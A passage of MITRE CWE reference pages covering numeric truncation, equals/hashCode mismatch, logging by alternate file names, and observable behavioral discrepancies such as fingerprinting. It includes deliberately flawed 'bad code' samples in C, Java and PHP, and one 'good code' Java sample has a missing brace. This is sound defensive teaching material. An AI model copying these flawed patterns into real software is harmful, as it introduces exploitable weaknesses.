Example 1

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

(bad code)
Example Language:
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);

The above code, when compiled and run on certain systems, returns the following output:

(result)
 
Int MAXINT: 2147483647
Short MAXINT: -1

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Example 2

In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.

(bad code)
Example Language: Java 
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {

// get the total number of products in inventory database
int productCount = inventory.getProductCount(productID);
// convert integer values to short, the method for the

// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);
}
...

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

(good code)
Example Language: Java 
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {

// get the total number of products in inventory database
int productCount = inventory.getProductCount(productID);
// make sure that integer numbers are not greater than

// maximum value for type short before converting
if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {

// convert integer values to short, the method for the

// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);

else {
// throw exception or perform other processing
...
}
}
...
+ Observed Examples
ReferenceDescription
Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
Integer truncation of length value leads to heap-based buffer overflow.
Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
+ Potential Mitigations

Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.848The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1159SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNumeric truncation error
CLASPTruncation error
CERT C Secure CodingFIO34-CCWE More AbstractDistinguish between characters read from a file and EOF or WEOF
CERT C Secure CodingFLP34-CCWE More AbstractEnsure that floating point conversions are within range of the new type
CERT C Secure CodingINT02-CUnderstand integer conversion rules
CERT C Secure CodingINT05-CDo not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure CodingINT31-CCWE More AbstractEnsure that integer conversions do not result in lost or misinterpreted data
The CERT Oracle Secure Coding Standard for Java (2011)NUM12-JEnsure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Truncation", Page 259. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Description, Observed_Examples, Other_Notes, Research_Gaps
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID: 581
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not maintain equal hashcodes for equal objects.
+ Extended Description
Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.697Incorrect Comparison
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Other

If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.
+ Potential Mitigations

Phase: Implementation

Both Equals() and Hashcode() should be defined.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET09-JClasses that define an equals() method must also define a hashCode() method
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Type
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Object Model Violation: Just One of Equals and Haschode Defined

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1210Audit / Logging Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1009Audit
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation
Access Control

Technical Impact: Hide Activities; Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

This code prints the contents of a file if a user has permission.

(bad code)
Example Language: PHP 
function readFile($filename){
$user = getCurrentUser();
$realFile = $filename;

//resolve file if its a symbolic link
if(is_link($filename)){
$realFile = readlink($filename);
}

if(fileowner($realFile) == $user){
echo file_get_contents($realFile);
return;
}
else{
echo 'Access denied';
writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));
}
}

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).

+ Observed Examples
ReferenceDescription
Attacker performs malicious actions on a hard link to a file, obscuring the real target file.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.997SFP Secondary Cluster: Information Loss
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERObscured Security-relevant Information by Alternate Name
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-205: Observable Behavioral Discrepancy

Weakness ID: 205
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.
+ Extended Description
Ideally, a product should provide as little information about its internal operations as possible. Otherwise, attackers could use knowledge of these internal operations to simplify or optimize their attack. In some cases, behavioral discrepancies can be used by attackers to form a side channel.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.206Observable Internal Behavioral Discrepancy
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.207Observable Behavioral Discrepancy With Equivalent Products
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.514Covert Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.
Behavioral infoleak by responding to SYN-FIN packets.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERBehavioral Discrepancy Infoleak
WASC45Fingerprinting
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-12-28CWE Content TeamMITRE
updated Description, Name
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Behavioral Discrepancy Information Leak
2020-02-24Information Exposure Through Behavioral Discrepancy

CWE-207: Observable Behavioral Discrepancy With Equivalent Products

Weakness ID: 207
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.
+ Extended Description
For many kinds of products, multiple products may be available that perform the same functionality, such as a web server, network interface, or intrusion detection system. Attackers often perform "fingerprinting," which uses discrepancies in order to identify which specific product is in use. Once the specific product has been identified, the attacks can be made more customized and efficient. Often, an organization might intentionally allow the specific product to be identifiable. However, in some environments, the ability to identify a distinct product is unacceptable, and it is expected that every product would behave in exactly the same way. In these more restricted environments, a behavioral difference might pose an unacceptable risk if it makes it easier to identify the product's vendor, model, configuration, version, etc.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.205Observable Behavioral Discrepancy
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.
Behavioral infoleak by responding to SYN-FIN packets.
Honeypot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeypot system.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

